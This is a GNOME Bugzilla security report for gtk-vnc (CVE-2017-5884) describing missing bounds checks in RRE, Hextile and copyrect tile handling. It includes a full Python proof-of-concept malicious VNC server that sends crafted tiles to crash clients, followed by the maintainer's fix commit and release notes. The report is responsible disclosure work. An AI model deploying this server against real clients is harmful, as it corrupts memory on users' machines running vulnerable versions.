After an evaluation, GNOME has moved from Bugzilla to GitLab. Learn more about GitLab.
No new issues can be reported in GNOME Bugzilla anymore.
To report an issue in a GNOME project, go to GNOME GitLab.
Do not go to GNOME Gitlab for: Bluefish, Doxygen, GnuCash, GStreamer, java-gnome, LDTP, NetworkManager, Tomboy.
Bug 778048 - The code does not check framebuffer boundaries sufficiently when processing a tile
The code does not check framebuffer boundaries sufficiently when processing a...
Status: RESOLVED FIXED
Product: gtk-vnc
Classification: Other
Component: general
unspecified
Other Linux
: Normal normal
: ---
Assigned To: gtk-vnc-maint
gtk-vnc-maint
Depends on:
Blocks:
 
 
Reported: 2017-02-01 22:15 UTC by Josef Gajdusek
Modified: 2017-02-14 09:25 UTC
See Also:
GNOME target: ---
GNOME version: ---



Description Josef Gajdusek 2017-02-01 22:15:31 UTC
In general, the code does not properly check boundaries of subrectangle-containing tiles. A malicious server can use this to overwrite parts of the client memory. See CVE-2016-9941 for reference on a similar bug in libvncserver or CVE-2017-5581 for a similar bug in TigerVNC.

The PoC crashes the client (tested on tools/gvnccapture) using a specially crafted Hextile or RRE tile, however the other tile types look vulnerable too.


```
#! /usr/bin/env python3

import asyncio
import struct
import lzo
import time

class EvilVNCProtocol(asyncio.Protocol):

    def connection_made(self, transport):
        self.transport = transport
        # Note that we just ignore whatever the client says
        self.transport.write(b"RFB 003.008\n")
        # Send supported security types (1 - None)
        self.transport.write(b"\x01\x01")
        # Confirm that authentication succeeded
        self.transport.write(b"\x00\x00\x00\x00")
        # Send ServerInit
        self.transport.write(
            struct.pack(">HHBBBBHHHBBBBBBIB",
                        100, 100, # Framebuffer width and height
                        32, # Bits per pixel
                        8, # Color depth
                        1, # Big endian
                        1, # True Color
                        255, 255, 255, # Color max values
                        0, 8, 16, # Color shifts
                        0, 0, 0, # Padding
                        1, # Name length
                        ord("E") # Name
            )
        )
        # For some reason, not waiting here led to the client occasionally
        # dropping the rest of the input buffer
        time.sleep(0.2)
        # Send evil packets
        self.send_rre_crash()
        #self.send_hextile_crash()

    def send_hextile_crash(self):
        self.transport.write(
            struct.pack(">BBHHHHHi",
                        0, 0, # message-type and padding
                        1, # number-of-rectangles
                        90, 90, # x and y positions
                        10, 10, # Width and height
                        5, # encoding = hextiles
            )
        )
        self.transport.write(
            struct.pack(">BBIBB",
                        0x18, # tileType = hextileAnySubrects | hextileSubrectsColored
                        0x1, # nSubrects
                        0x12345678, # Pixel value
                        0xff, # x and y
                        0xff, # w and h
            )
        )
        self.transport.write(b"\xab\xcd\xef\x12" * 100)

    def send_rre_crash(self):
        self.transport.write(
            struct.pack(">BBHHHHHi",
                        0, 0, # message-type and padding
                        1, # number-of-rectangles
                        10, 0, # x and y positions
                        10, 10, # Width and height
                        2, # encoding = RRE
            )
        )
        self.transport.write(
            struct.pack(">IIIHHHH",
                        1, # nSubrects
                        0x41414141, # Background pixel value
                        0x42424242, # Rect pixel value
                        10, 10000, 1, 1 # x, y, w, h
            )
        )

    def data_received(self, data):
        print(data)


loop = asyncio.get_event_loop()
coro = loop.create_server(EvilVNCProtocol, "0.0.0.0", 5900)
server = loop.run_until_complete(coro)

loop.run_forever()
```
Comment 1 Daniel P. Berrange 2017-02-02 18:26:44 UTC
Thanks for the bug report & test scenario. I'm working on a fix and adding a test case to validate it.

In addition to rre & hextile,the copyrect encoding is also missing correct bounds checks on the src x,y coordinates, allowing server to force a read from outside the framebuffer array.

The tight and zrle encodings appear to have correct checks already IIUC.
Comment 2 Daniel P. Berrange 2017-02-06 12:32:22 UTC
This issue has been assigned CVE-2017-5884 http://www.openwall.com/lists/oss-security/2017/02/05/5
Comment 3 Daniel P. Berrange 2017-02-07 14:07:25 UTC
Fix merged in upstream GIT master 

commit ea0386933214c9178aaea9f2f85049ea3fa3e14a
Author: Daniel P. Berrange <berrange@redhat.com>
Date:   Thu Feb 2 17:34:47 2017 +0000

    Fix bounds checking for RRE, hextile & copyrect encodings
    
    While the client would bounds check the overall update
    region, it failed to bounds check the payload data
    parameters.
    
    Add a test case to validate bounds checking.
    
    https://bugzilla.gnome.org/show_bug.cgi?id=778048
    
    CVE-2017-5884
    
    Signed-off-by: Daniel P. Berrange <berrange@redhat.com>

leaving bug open until new release is made.
Comment 4 Daniel P. Berrange 2017-02-14 09:25:37 UTC
Fixed in 0.7.0 release